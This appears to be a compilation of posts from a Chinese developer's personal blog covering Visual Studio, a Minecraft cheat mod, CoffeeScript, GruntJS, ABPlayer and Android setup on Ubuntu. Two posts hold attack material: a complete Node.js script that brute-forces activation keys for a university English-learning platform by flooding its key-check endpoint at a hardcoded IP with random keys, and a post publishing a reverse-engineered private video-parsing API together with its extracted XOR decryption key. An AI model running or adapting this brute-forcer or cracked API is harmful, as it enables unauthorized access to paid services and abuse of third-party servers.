减小Visual Studio的解决方案体积

最近,迫于生计,去使用Visual Studio去开发了一些闭源的项目。是用Visual Studio的时候发现了一个现象就是解决方案目录体积过大(明明早就发现了好么,只是在重新炒冷饭好么)。

其实如果你熟悉eclipse或者idea的话,你可能就对解决方案是什么有一个基本的了解了。Visual Studio的解决方案eclipse的WorkSpace。eclipse为了代码的智能提示会把代码进行分析之后储存在解决方案的目录下面的隐藏目录下,当然了,这个目录下面也有当前WorkSpace的所有配置。

而Visual Studio的做法是:把解决方案的配置放在.suo文件里面,而那些肥大的代码提示放在一个SQL数据库文件里面(喂,这么不智能的提示也能算提示么)。如果你想要干掉这个肥大的文件,一个办法就是通过配置让Visual Studio把这个文件储存在系统临时目录下。具体的做法如下(我假设你使用的是中文版的Visual Studio):

  1. 点击“工具”菜单,选择“选项”
  2. 选择“文本编辑器”-“C/C++“-高级
  3. 设定”始终使用回退位置“为TRUE

在进行上面的操作之后肥大的代码提示文件被出掉了。如果要进一步的缩减解决方案的体积不要忘记在每次Build之后Clean你的解决方案

[原创]Minecraft Mod-AutoFishing

这是一个作弊向的Mod,你只需要在客户端安装就能实现挂机钓鱼。如果你认为这个是不道德的,请不要在服务器使用。MCBBS以及MinecraftForum上有一些钓鱼的挂机Mod,但是主要的两种挂机钓鱼MOD有分别有各自的问题:需要修改Minecraft文件以及不能在1.7.10运行。这个Mod兼容各种各种已知的钓鱼扩展,水产mod等钓鱼扩展也适用。

API需求:FORGE
安装方法:下载合适版本放入MOD文件夹
软件协议:GPLv3

版本记录:
2014.12.10 发布第一版。支持1.7.2以及1.7.10。已知BUG有灵活行动可能有的时候可能造成右键误动作

下载地址:度盘

新标准大学英语验证码暴力破解

今天也是非常不爽……诸事不宜,于是就写了这么一个小的nodejs程序来暴力破解一下新标准大学英语的验证码(我的验证码好久之前被被人偷了(╯‵□′)╯︵┻━┻

什么都不说了,直接放代码。程序没有什么技术含量,只是nodejs的入门吧


var http = require('http');
var chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789';
var myKey;
var str;

var CallBack = function (res) {
    console.log("Got response: " + res.statusCode);
    //console.log('HEADERS: ' + JSON.stringify(res.headers));
    res.setEncoding('utf8');
    res.on('data', function (chunk) {
        str += chunk;
    });
    res.on('end', function () {
        //console.log("BODY:" + str);
        if(str!="")
        {
            process.exit();
        }
    });
}


function onErro(e) {
    console.log("Got error: " + e.message);
}


function loop()
{
    var i = 0;
    myKey = "";
    while(i<25)
    {
        myKey += chars.charAt(Math.floor(Math.random() * 39));
        i++;
    }
    var bound = "------WebKitFormBoundaryZeArSIUsGkdKWdAL\r\n";
    var data = bound + "Content-Disposition: form-data; name=\"whichAction\"\r\n\r\ncheckMyKey\r\n\r\n"
        + bound + "Content-Disposition: form-data; name=\"myKey\"\r\n\r\n" + myKey + "\r\n\r\n"
        + bound + "Content-Disposition: form-data; name=\"targetBookID\"\r\n\r\n40\r\n\r\n" + bound;
    var options = {
        hostname: '121.251.255.73',
        port: 80,
        path: '/login/zhuce/zhuceajax.php',
        method: 'POST',
        headers: {
            'Content-Length': data.length.toString(),
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZeArSIUsGkdKWdAL",
            'Cookie': 'Horizon=dd939bc0226f5394b94667c53d1d6fee',
            'Connection': 'close'
        },
    };
    str = "";
    setTimeout(loop, 50);
    var req = http.request(options, CallBack);

    req.on('error', onErro);
    req.write(data);

    console.log("Code:"+myKey);
    req.end()
}

loop();

 

 

CoffeeScript缺陷

没有任何疑问,CoffeeScript是一门优秀的编程语言,但是不管他再怎么优秀都有一些不尽如人意的地方。这里结合我使用这门语言几天的经验来说一下CoffeeScript的初体验一些缺陷

 


最大的问题:缺乏强有力的IDE

由于CoffeeScript是一门新生的语言,相当多的开发环境还没有完全的支持他。

  • 如果你使用Visual Studio编辑,你不得不建立一个.net网站工程才能在里面编辑CoffeeScript,否则你不能得到代码提示。
  • 如果你使用Notepad++编辑,你不会得到任何编码提示
  • 如果你使用eclipse进行编辑,目前的支持还是很有限的
  • http://fiddlesalad.com/coffeescript/ 这个在线IDE还是感觉很不错的,功能很强大,但是由于它只能在线使用,所以可能无法在没有网络的情况访问,另外它要求一定要联网,对于那些不开源的商业应用也是很大的挑战。

第二大问题:缩进来判断代码结束

可能有人比较喜欢用缩进来结束代码,但是我非常不喜欢,尤其是当代码非常长的时候。当你的IDE不支持智能缩进的时候这更是一件非常辛苦的事情

第三大问题:不完全的OOP特性

CoffeeScript支持OOP无疑是非常方便的,但是很不幸的是这个支持是非常有限的。在这里一个没有办法通过CoffeeScript的成员自动添加定义一个类里面的私有成员,你只能通过一些技巧来实现手动的添加私有成员。在CoffeeScript里面,这里的私有成员只能是私有的,还不能实现保护成员。

所以记住:CoffeeScript只是JavaScript

第四大问题:糟糕的函数参数表设计

在CoffeeScript调用一个有参数函数你可以省略掉参数表的括号,但是这并不意味着你可以省略掉所有的括号:在无参数的时候你必须加上括号。这样的方式可能带来一个团队项目里面编码习惯的混乱。

第五大问题:变量自动声明导致的拼写错误

变量生存周期自动管理缺失不错,但是,这引来了一个问题:你可能因为一些失误错误的拼写了某些变量名,这样,在你的IDE没有办法给你足够的提示的时候,你不得不花费大量的时间去检查这样一个低级的错误


不管怎样,CoffeeScript都是一款优秀的语言,去尝试一下都是很好的,但是如果要实际的应用还是要一些勇气的

 

GruntJS配置实例

GruntJS配置还是比较耗时间的,这里放出一份我在h萌的一个项目的GruntJS的编译配置。这个编译配置参考了网络上的许多地方的配置文件整合的

 
JSON文件如下:

{
  "name": "",
  "version": "0.1.0",
  "dependencies": {
    "grunt": "0.x.x",
    "grunt-autoprefixer": "0.2.x",
    "grunt-contrib-clean": "0.5.x",
    "grunt-contrib-coffee": "0.7.x",
    "grunt-contrib-connect": "0.4.x",
    "grunt-contrib-copy": "0.4.x",
    "grunt-contrib-cssmin": "0.6.x",
    "grunt-contrib-jade": "0.8.x",
    "grunt-contrib-jshint": "0.6.x",
    "grunt-contrib-stylus": "0.8.x",
    "grunt-contrib-uglify": "0.2.x",
    "grunt-contrib-watch": "0.5.x",
	"grunt-html-build":"0.3.x",
	"grunt-contrib-htmlmin":"0.3.x",
	"grunt-cleanempty":"1.0.x"
  },
  "engine": "node >= 0.10"
}

下面是关键的JS

module.exports = function(grunt) {

	// configure the tasks
	grunt.initConfig({

		copy: {
			build: {
				cwd: 'static',
				src: [ '**', '!**/*.styl', '!**/*.coffee', '!**/*.jade' ,'!**.bak','!**.log','!**.html'],
				dest: 'build',
				expand: true
			},
		},
		clean: {
			build: {
				src: [ 'build' ]
			},
			stylesheets: {
				src: [ 'build/**/*.css', '!build/application.css' ]
			},
			scripts: {
				src: [ 'build/**/*.js', '!build/application.js' ]
			},
		},
		stylus: {
			build: {
				options: {
					linenos: true,
					compress: false
				},
				files: [{
					expand: true,
					cwd: 'static',
					src: [ '**/*.styl' ],
					dest: 'build',
					ext: '.css'
				}]
			}
		},
		autoprefixer: {
			build: {
				expand: true,
				cwd: 'build',
				src: [ '**/*.css' ],
				dest: 'build'
			}
		},
		cssmin: {
			build: {
				files: {
					'build/application.css': [ 'build/**/*.css' ]
				}
			}
		},
		coffee: {
			build: {
				expand: true,
				cwd: 'static',
				src: [ '**/*.coffee' ],
				dest: 'build',
				ext: '.js'
			}
		},
		uglify: {
			build: {
				options: {
					mangle: false
				},
				files: {
					'build/application.js': [ 'build/**/*.js' ]
				}
			}
		},
		jade: {
			compile: {
				options: {
					data: {}
				},
				files: [{
					expand: true,
					cwd: 'static',
					src: [ '**/*.jade' ],
					dest: 'build',
					ext: '.html'
				}]
			}
		},
		fixturesPath: "path",
		htmlbuild: {
			dist: {
				src: ['static/*.html'],
				dest: 'build/',
				options: {
					beautify: false,
					prefix: '//some-cdn',
					relative: true,
					scripts: {
					},
					styles: {
					},
					sections: {
					},
					data: {		
					},
				}
			}
		},
		htmlmin: {                                     // Task
			multiple: { 
				options: {                                 // Target options
					removeComments: true,
					collapseWhitespace: true
				},			// Target
				files: [{                                  // Dictionary of files
					expand: true,
					cwd: 'build/',                             // Project root
					src: '**/*.html',                        // Source
					dest: 'build/'                            // Destination
				}]
			}
		},
		cleanempty: {
			options: {
				force: true,
			},
			src: ['build/**/*', 'build/*'],
		},
	});

	// load the tasks
	grunt.loadNpmTasks('grunt-contrib-copy');
	grunt.loadNpmTasks('grunt-contrib-clean');
	grunt.loadNpmTasks('grunt-autoprefixer');
	grunt.loadNpmTasks('grunt-contrib-cssmin');
	grunt.loadNpmTasks('grunt-contrib-coffee');
	grunt.loadNpmTasks('grunt-contrib-uglify');
	grunt.loadNpmTasks('grunt-contrib-jade');
	grunt.loadNpmTasks('grunt-contrib-stylus');
	grunt.loadNpmTasks('grunt-html-build');
	grunt.loadNpmTasks('grunt-contrib-htmlmin');
	grunt.loadNpmTasks('grunt-cleanempty');

	// define the tasks

	grunt.registerTask(
		'stylesheets', 
		'Compiles the stylesheets.', 
		[ 'stylus', 'autoprefixer', 'cssmin', 'clean:stylesheets' ]
	);

	grunt.registerTask(
		'scripts', 
		'Compiles the JavaScript files.', 
		[ 'coffee', 'uglify', 'clean:scripts' ]
	);

	grunt.registerTask(
		'build', 
		'Compiles all of the assets and copies the files to the build directory.', 
		[ 'clean:build', 'copy', 'stylesheets', 'scripts', 'jade','htmlbuild' ,'htmlmin','cleanempty']
	);

	grunt.registerTask(
		'default', 
		'', 
		[ 'build']
	);

};

使用GruntJS优化你的网站

其实,一开始让我接触GruntJS我也是拒绝的,但是由于想要编译ABPlayerHtml5所以我不得不接触了一下GruntJS,结果发现——根本停不下来。GruntJS简直太好用了。

GruntJS是一个知名(为什么我以前没听说过……)的JavaScript构建工具,它就像“JavaScript世界的编译器”。它能够通过各种编译模块完成CoffeeScript、JadeScript的编译,JavaScript的合并以及压缩,CSS的合并以及压缩以及其他等许许多多的任务。

使用GruntJS进行构建的最大的好处就是能极大地减少你的网站请求次数,对于那些分散的JavaScript以及CSS你完全可以合并成一个文件并且以静态文件的方式放在内容分发网络(CDN)上。当然了,由于JS编译的过程局部变量是经过混淆的,所以文件的体积能进一步的减小。由于GruntJS是基于NodeJS的,所以你很容易就能在服务器上完成脚本的动态编译,如果你的服务器是基于NodeJS的话,你就可以轻松地写出一个能压缩Script以及CSS的静态缓存系统。

更多的可以参见GruntJS中文网:http://www.gruntjs.net/

CoffeeScript 像写诗一样写程序

昨天在编译ABPlayerHTML5的时候无意间发现了CoffeeScript这语言,以前虽然有过听说,但是都不屑的无视掉了这门语言。昨天在我看到这门语言的时候深深的被它吸引了,这种触动就和我第一次接触jQuery的时候一样,这给开发者的体验简直能用“感动”这个词来描述。

CoffeeScript是一种脚本语言没错,但是它还是需要编译的。它拥有一个javascript写的编译器用来把CoffeeScript编译到JavaScript。你可以在你的浏览器里面进行CoffeeScript的编译,但是更常见的做法是通过node.js来编译你的CoffeeScript。在node.js安装你的CoffeeScript是非常简单的一件事情:CoffeeScript已经可以直接通过npm获得你只需要下面一条指令就能获得最新稳定版的CoffeeScript

sudo npm install -g coffee-script

CoffeeScript里面你不需要特别的定义变量,一切变量的作用域都会自动的在最小的范围内。不像JavaScript,一切不声明var的变量都是全局变量。CoffeeScript会自动的声明变量。
# 赋值:
number   = 42
opposite = true

# 条件:
number = -42 if opposite

# 函数:
square = (x) -> x * x

# 数组:
list = [1, 2, 3, 4, 5]

# 对象:
math =
  root:   Math.sqrt
  square: square
  cube:   (x) -> x * square x

# Splats:
race = (winner, runners...) ->
  print winner, runners

# 存在性:
alert "I knew it!" if elvis?

# 数组 推导(comprehensions):
cubes = (math.cube num for num in list)

上面的这一段CoffeeScript编译之后就会变成下面的代码

var cubes, list, math, num, number, opposite, race, square,
  __slice = [].slice;

number = 42;

opposite = true;

if (opposite) {
  number = -42;
}

square = function(x) {
  return x * x;
};

list = [1, 2, 3, 4, 5];

math = {
  root: Math.sqrt,
  square: square,
  cube: function(x) {
    return x * square(x);
  }
};

race = function() {
  var runners, winner;
  winner = arguments[0], runners = 2 <= arguments.length ? __slice.call(arguments, 1) : [];
  return print(winner, runners);
};

if (typeof elvis !== "undefined" && elvis !== null) {
  alert("I knew it!");
}

cubes = (function() {
  var _i, _len, _results;
  _results = [];
  for (_i = 0, _len = list.length; _i < _len; _i++) {
    num = list[_i];
    _results.push(math.cube(num));
  }
  return _results;
})();

CoffeeScript吸引人的特性除了这一点还有好多,比如CoffeeScript提供了类以及继承

class Animal
  constructor: (@name) ->

  move: (meters) ->
    alert @name + " moved #{meters}m."

class Snake extends Animal
  move: ->
    alert "Slithering..."
    super 5

class Horse extends Animal
  move: ->
    alert "Galloping..."
    super 45

sam = new Snake "Sammy the Python"
tom = new Horse "Tommy the Palomino"

sam.move()
tom.move()

编译之后的代码如下

var Animal, Horse, Snake, sam, tom,
  __hasProp = {}.hasOwnProperty,
  __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; };

Animal = (function() {
  function Animal(name) {
    this.name = name;
  }

  Animal.prototype.move = function(meters) {
    return alert(this.name + (" moved " + meters + "m."));
  };

  return Animal;

})();

Snake = (function(_super) {
  __extends(Snake, _super);

  function Snake() {
    return Snake.__super__.constructor.apply(this, arguments);
  }

  Snake.prototype.move = function() {
    alert("Slithering...");
    return Snake.__super__.move.call(this, 5);
  };

  return Snake;

})(Animal);

Horse = (function(_super) {
  __extends(Horse, _super);

  function Horse() {
    return Horse.__super__.constructor.apply(this, arguments);
  }

  Horse.prototype.move = function() {
    alert("Galloping...");
    return Horse.__super__.move.call(this, 45);
  };

  return Horse;

})(Animal);

sam = new Snake("Sammy the Python");

tom = new Horse("Tommy the Palomino");

sam.move();

tom.move();

CoffeeScript的函数绑定功能也是非常的方便

Account = (customer, cart) ->
  @customer = customer
  @cart = cart

  $('.shopping_cart').bind 'click', (event) =>
    @customer.purchase @cart

编译之后的代码是这样的

var Account;

Account = function(customer, cart) {
  this.customer = customer;
  this.cart = cart;
  return $('.shopping_cart').bind('click', (function(_this) {
    return function(event) {
      return _this.customer.purchase(_this.cart);
    };
  })(this));
};

更多的资料可以参考 http://coffee-script.org/

ABPlayer的正确编译姿势

jabbany 大牛的ABPlayer在ACG技术宅中听过的比例应该很高,这是一个基于flex的弹幕播放器,支持高级弹幕以及新浪以及土豆的解析。但是由于项目由于很久没有更新了(作者去弄它的HTML5版了),所以现在好多小伙伴表示在flex 4.6下面编译不过去,我就来说说正确的编译姿势


 

flex 4.6之后添加了自带的JSON支持,所以项目里面的JSON库就会和SDK自带的JSON库发生冲突。解决方法也很简单:移除掉org.kanoha.util.CommentListParser里面的JSON的import,然后更换Json的构造方法为 JSON.parse(text);

解决方案已经pull到ABPlayer项目里面。不过mini-player分支没有修改,只修改了master分支

硕鼠移动端解析api

其实刚开始让我破解的时候我是拒绝的……因为你不能让我破解我就破解,至少你应该让我试一下……我不想你说我破解的时候加了很多特效,说我破解有多厉害,视频能直接可以解析,还不需要验证码等等……出来之后同学一定会骂我,根本没有这么厉害的黑客,证明上面那个是假的……后来我知道他们破解是有计划有可能的,那么试了一下以后,觉得还不错……我自己现在还每天都用这个api,还介绍给你一起用,来来来,大家一起来破解。


好了,不闹了。本身是不想去破解的。无奈看到硕鼠的奋斗网络公司说不和个人开发者合作那么没办法,只能顺手破解掉了。好东西光自己用是不可以的。要大家一起分享。

破解过程很简单,一个抓包外加一个反编译。硕鼠的移动端还没有混淆(不知道是不是故意没有混淆方便我们调用)。总之就是很简单的过程吧。

下面是接口
http://m.flvcd.com/parse.php?url=你需要的url

但是这个接口的结果是加密过的。加密方式是循环异或加密。密钥长度256。密钥通过反编译获得,随手写了一个c程序转换密钥。

3f79d43656bc720f6c5e4df1592eaf048e45a8b1e65b32eddb261bb00720c07fd71bcfa7032a341d567a06dd92ffc72934f3b70a30315c7543482d795dc165a6496ce3a5072e925500514353714309c7749ae60f5cf2a55a38b41201395fff5343ac3475a35674c6789046a885d3860a2627f6c48e5d1f19018887bed84abb5365aa6b79fa6d326fdf3e1bc1df013451536dc57a0bc7b5223a26b58d3ed2078ec4ec37049592c267eb2838c292a5c035bb7ba942bd395b4a520d0e6db394e4b267abdbd1dfdf619966a0b28c39375b1450beaeb3b227c1130cfe5de041e75968cd9a4cbcaaa67927ad8a9a6e71fde934b9f0eb489daa88f0027248ce3849c875

解析出的结果是xml

 

 

ubuntu下android开发环境搭建

前一段时间系统出了一些问题,于是现在在折腾系统。这里我就介绍一下如何在ubuntu中搭建Android开发以及真机调试环境。

我这里的操作系统是ubuntu 14.10 64位中文桌面版。如果你的操作系统是其他的linux发行版,环境配置的操作可能差不多。如果你在中国大陆,请保证自己有能力访问完整的google网络。

第一步:你应该去android官网下载最新的android studio。Google已经为你做了很多的准备。这里主要需要的是Android SDK。我推荐你使用Idea。不过我这里准备了Idea以及Eclipse。

第二步:准备你的Java环境。由于我比较懒,所以我就直接sudo apt-get install eclipse。所有(应该是绝大多数)的必要的包已经都被获取回来了。eclipse里面安装ADB插件也是必须的、

第三步:配置你的Android SDK。通过你的IDE直接启动Android SDK Manager。下载你需要的版本的Android的Build-tools、Document、SDK Platform、Samples、Google API、Source(为了精简,我是没有下载image。反正我是真机调试)。当然了,公共的SDK Tools以及Platform-tools也是必要的。

在这一步完成的时候理论上你已经可以开发Android应用了。但是由于这里的是Ubuntu 14.10,一个依赖项已经在被移除了,所以还必须手动获得这个依赖项。否则你会无法编译R.java。下面是获取方法:

sudo apt-get install libc6:i386
sudo -i
cd /etc/apt/sources.list.d
echo "deb http://old-releases.ubuntu.com/ubuntu/ raring main restricted universe multiverse" >ia32-libs-raring.list
apt-get update
apt-get install ia32-libs
rm /etc/apt/sources.list.d/ia32-libs-raring.list
apt-get update
exit
sudo apt-get install gcc-multilib

以上方法来自http://stackoverflow.com/questions/8008169/how-to-resolve-error-executing-aapt-in-android-eclipse 。


现在你应该完成了Android开发环境的搭建了。你需要的是搭建调试环境。

如果你要通过USB调试连接你的Android设备,请看这里:

对于Linux操作系统你没必要安装驱动就能够通过USB连接你的Android设备。但是很不辛的是你需要自己配置你的设备。

第一步:通过lsusb命令找到你的Android设备的id

第二步:编辑你的udev规则。

首先你应该在root权限下在/etc/udev/rules.d/创建你的规则。为了简单这里使用gedit了。当然如果你使用vi编辑器也是可以的。

sudo gedit /etc/udev/rules.d/51-android.rules

在gedit里面输入

SUBSYSTEM==”usb”, ATTR{idVendor}==”0bb4″, MODE=”0666″

注意,这里0bb4就是你的lsusb获得的设备id。我这里0bb4代表了HTC设备(实际上我是台电的平板……)

然后给你创建的文件设置权限:

sudo chmod a+rx /etc/udev/rules.d/51-android.rules

权限设置完事重新引导你的系统就好。当然了,还是有不重新引导的方式,但是我这里还是一个懒字。

重新启动系统之后直接进入终端,sudo adb devices 命令应该可以看到你的设备了。

进入你的IDE你就可以开始你的开发了。但是如果你很不幸的发现你的设备无法在IDE里面被识别(就像我)你就应该考虑通过网络调试你的程序。


这里介绍一下如何通过网络调试你的Android设备。请注意这样是有风险的。因为包括GSM网络都能进行调试。黑客可能会轻易的攻击进入你的设备。(这只是Google给的警告啦,哪来的那么多黑客,尤其是在中国……)

第一步:在你的Android设备上开启网络调试。如果你的设备并没有直接提供这个选项请执行下面的命令:

setprop service.adb.tcp.port 5555
stop adbd
start adbd

请注意这里的端口号最好换成其他自定义的端口号。否则还是有比较高的风险的。

第二步:设置你的ubuntu上的adb。你需要执行类似下面的命令来连接你的设备:

sudo adb connect 192.168.0.107:5555

执行完事之后你应该就可以成功连接你的Android设备进行调试了。至此你的Android开发环境已经完全在Ubuntu上面搭建完成。